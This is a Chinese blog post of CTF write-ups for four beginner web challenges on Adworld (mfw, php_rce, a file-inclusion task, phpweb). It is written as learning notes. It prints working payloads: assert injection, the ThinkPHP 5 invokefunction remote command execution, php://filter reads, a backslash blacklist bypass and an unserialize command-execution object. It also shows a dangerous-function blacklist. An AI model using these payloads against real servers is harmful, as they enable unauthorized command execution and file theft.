[做题记录]攻防世界_3(新手模式)
一只网络安全菜鸟--(˙<>˙)/--
写博客主要是想记录一下自己的学习过程,过两年毕业了也能回头看看自己都学了些啥东西。
由于本人水平有限内容难免有错误、疏漏、逻辑不清、让人看不懂等各种问题,恳请大家批评指正
如果我写的东西能对你有一点点帮助,那真是再好不过了😀。
mfw
进入环境:
点下上面的链接看看结果About:
里面有个Git,想到了Git泄露,直接看下.git文件有没有:
上GitHack:
python GitHack.py http://61.147.171.105:55455/.git/
访问一下,看有没有啥好东西:
flag.php里啥也没有,可惜:
看下index.php,里面有不少好东西,把有用的php部分拿出来:
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<?php
require_once $file;
?>
首先GET方式传page,不给page赋值的话自动等于home(就是我们进去看到的首页),然后进行一个拼接:templates/
接下来的思路就是构造page让他执行一些命令比如'ls' 'cat'啥的。
接下来的payload参考了这位师傅的文章,感谢!:
https://blog.csdn.net/m0_62063669/article/details/125427751?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169364331616800186574360%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169364331616800186574360&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_click~default-2-125427751-null-null.142^v93^koosearch_v1&utm_term=mfw&spm=1018.2226.3001.4187
payloaad:
index.php/?page=flag','abc') === false and system("cat templates/flag.php") and strops('flag
解释下为什么要给page赋这么一个值,先看这个page让file成了个啥东西:
file = template/flag','abc') === false and system("cat templates/flag.php") and strops('flag.php
带到断言函数中:
assert("strpos('template/flag','abc') === false and system("cat templates/flag.php") and strops('flag.php', '..') === false") or die("Detected hacking attempt!");
strpos函数是看参数里有没有要检测的值,有的话返回第一次出现的位置,没有就返回false。明显 ‘template/flag’这里面没abc,第一个assert为真;第二个执行 cat templates/flag.php ,这没啥好说的,就是去拿我们要的flag,不过注意cat后的文件路径。我们当前在index.php下,index.php和templates同目录,flag.php又在templates下。所以相对路径就是templates/flag.php
。最后一个断言是找flag.php中有没有俩点,没有返回false。因为是两个and连接,三个条件都为真即为真。然后直接require($file),执行命令。
flag藏在源码里:
php_rce
进入环境:
Github搜下有关这个ThinkPHPV5的相关漏洞,发现有一大堆远程命令执行的POC:
找个长的试试:
s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1
执行了phpinfo()这个命令
ls看下当前目录下的文件:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
没有和flag有关的东西,等会用find找一下,不过这里有个和爬虫有关的robots.txt,让我看看你:
可惜啥也没有,find命令找下和flag有关的东西:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find /%20 -name "flag*"
find是全磁盘查找所以可能会比较慢:
草了,还是看看根目录下都啥东西吧:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
有个flag: ls /flag没啥有价值的东西,直接 cat /flag读一下:
题目名称-文件包含
进入环境,朴实无华的一小段php,直接filter伪协议读flag.php源码:
回显了dont hack!估计check.php起作用然后触发什么关键词了。。这时候想到之前做过的一道题:用了
convert.iconv.UTF-8*.UCS-4BE.resource=./check.php
这种类型的过滤器,那就试试这个:
?filename=php://filter/convert.iconv.UTF-8*.UCS-4BE.resource=./check.php
过滤器对了但是用法不对,那可能是input-encoding和output-encoding不对。。需要一个一个找。。但这玩意可用的编码实在太多:
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac(别名:MacJapanese)
SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
SJIS-Mobile#KDDI(别名:SJIS-KDDI)
SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
JIS
JIS-ms
CP50220
CP50220raw
CP50221
CP50222
ISO-8859-1*
ISO-8859-2*
ISO-8859-3*
ISO-8859-4*
ISO-8859-5*
ISO-8859-6*
ISO-8859-7*
ISO-8859-8*
ISO-8859-9*
ISO-8859-10*
ISO-8859-13*
ISO-8859-14*
ISO-8859-15*
ISO-8859-16*
byte2be
byte2le
byte4be
byte4le
BASE64
HTML-ENTITIES(别名:HTML)
7bit
8bit
EUC-CN*
CP936
GB18030
HZ
EUC-TW*
CP950
BIG-5*
EUC-KR*
UHC(别名:CP949)
ISO-2022-KR
Windows-1251(别名:CP1251)
Windows-1252(别名:CP1252)
CP866(别名:IBM866)
KOI8-R*
KOI8-U*
ArmSCII-8(别名:ArmSCII8
直接去翻了wp。。感谢这位师傅:
https://blog.csdn.net/gsumall04/article/details/131807065?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169373375216800222871982%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169373375216800222871982&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-131807065-null-null.142^v93^koosearch_v1&utm_term=%E9%A2%98%E7%9B%AE%E5%90%8D%E7%A7%B0-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB&spm=1018.2226.3001.4187
我是懒狗就不一个一个加了。。也不知道有没有编码的字典,能方便不少。我放了4种熟悉下步骤:burpsuite的intruder模块爆一下,选择集束炸弹模式:
根据长度排列一下:
拿到flag:
最后说下为什么要去读flag.php而不是别的:一是很多flag都在这个文件里,二是直接访问flag.php时它并没给我们报错:
1xx(信息性状态码):表示请求已被接收,继续处理。
100 Continue:服务器已接收到请求的初始部分,客户端应继续发送剩余部分。
101 Switching Protocols:服务器已理解并接受客户端的请求,将切换到新的协议。
2xx(成功状态码):表示请求已成功被服务器接收、理解和处理。
200 OK:请求成功,服务器返回请求的内容。
201 Created:请求成功,服务器创建了新资源。
204 No Content:请求成功,服务器处理成功,但没有返回任何内容。
3xx(重定向状态码):表示需要进一步操作以完成请求。
301 Moved Permanently:请求的资源已永久移动到新位置。
302 Found:请求的资源临时移动到新位置。
304 Not Modified:资源未修改,客户端可以使用缓存的版本。
4xx(客户端错误状态码):表示客户端发送的请求有错误。
400 Bad Request:请求无效,服务器无法理解。
401 Unauthorized:请求要求身份验证。
404 Not Found:请求的资源不存在。
5xx(服务器错误状态码):表示服务器在处理请求时发生错误。
500 Internal Server Error:服务器遇到了意外错误。
502 Bad Gateway:服务器作为网关或代理,从上游服务器接收到无效响应。
503 Service Unavailable:服务器当前无法处理请求,通常由于过载或维护。
[网鼎杯 2020 朱雀组]phpweb
进入环境:
没啥特别的。。不过这页面没过几秒就会刷新一下,出现下面这种东西:
他说某个和data有关的函数设置有问题?右键看下源码有啥东西:
burpsuite抓下包看看:
下面有个这个东西:
func=date&p=Y-m-d+h%3Ai%3As+a
前面是个函数?后面是他的参数?看着像命令执行,改成system('ls')看看效果:
func=system&p=ls
回显了hacker。。估计是太直白了,system/eval都会回显Hacker。include/require函数读下index.php的源码?
func=include&p=php://filter/read=convert.base64-encode/resource=index.php
提示call_user_func()函数找不到第一个参数include/require或这是一个无效的函数名?怎么会找不到include()函数呢?问了下GPT发现call_back_func不是所有函数都能执行,它是调用一个回调函数或方法。而且并不是所有函数都是回调函数,判断一个函数能否回调可以用is_callable
函数,比如:
<?php
$callback = 'include';
if (is_callable($callback)) {
echo '可以回调';
} else {
echo '不可回调';
}
//结果:不可回调
?>
不得不说CHATGPT这东西确实好用,我问他call_back_func(include,php://filter/read=convert.base64-encode/resource=index.php)为什么不行时他不光给了不可用的理由,还建议我用file_get_contents()函数去读文件:
差点把这东西忘了,既然它可以回调就file_get_contents(index.php)读下Index.php:
func=file_get_contents&p=index.php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");//黑名单,禁用了很多函数
function gettime($func, $p) {
$result = call_user_func($func, $p); //调用call_user_func函数,注意该函数只能调用可以回调的函数
$a= gettype($result); //$result是什么类型?
if ($a == "string") { //如果是字符串
return $result;
} else {return "";} //如果是其它
}
class Test {
var $p = "Y-m-d h:i:s a";//旧式的用于声明类属性(成员变量)的关键字,新版本的PHP多用 public等
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];//获取通过 GET、POST 和 COOKIE 方法传递的参数
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
尝试用相对路径读有没有flag.php这东西。。没试出来。。就去网上找了下wp。感觉已经很接近结果了有点不甘心😔感谢这位师傅的文章:
https://blog.csdn.net/qq_58784379/article/details/120877859
第一种方法:
在PHP中的函数前面加个\并不印象函数运行(php内的" \ "在做代码执行的时候,会识别特殊字符串,绕过黑名单)。拿前面那个is_callable函数举个例子:
<?php
$callback = 'include';
if (\is_callable($callback)) {
echo '可以回调';
} else {
echo '不可回调';
}
//结果仍是不可回调
?>
问了下GPT,这个\是一种命名空间限定符,用于告诉 PHP 解释器要使用全局命名空间中的函数,而不是当前命名空间中的函数。如果没有使用命名空间或没有同名函数存在于全局命名空间中,添加反斜杠将没有实际影响。
func=\system&p=find / -name "flag*"//跟以前做的题一样,只要用find找东西就是全磁盘查找,会很慢
回显:
读最底下这个/tmp/flagoefiu4r93
:
func=file_get_contents&p=/tmp/flagoefiu4r93
或者func=\system&p=cat /tmp/flagoefiu4r93
得flag
第二种方法用了反序列化:
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p); //命令执行
}
}
//这东西没被用过,因为Test类里包含一个__destruct函数,这函数在对象被销毁时会被调用,
我们想执行system('ls')而且要绕过对func的黑名单检测,可以先序列化要执行的命令,然后利用get函数反序列化要执行的命令,反序列化后要销毁变量时会调用__destruct函数,这个函数定义了func(要执行的命令)和p(要执行命令的参数),然后再调用一次gettime函数(又执行了一次命令)。一来一回执行了两次gettime。
先序列化我们要执行的命令和参数:
<?php
class Test {
var $p = "ls";
var $func = "system";
}
$a = new Test();
$b = serialize($a);
echo $b;
?>
//结果:O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
payload:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}// 看当前目录下有什么文件
OK,没啥问题,因为根据第一种做法已经知道了flag藏在哪,直接去找/tmp/flagoefiu4r93
把我们的命令序列化一下:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
结果:
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通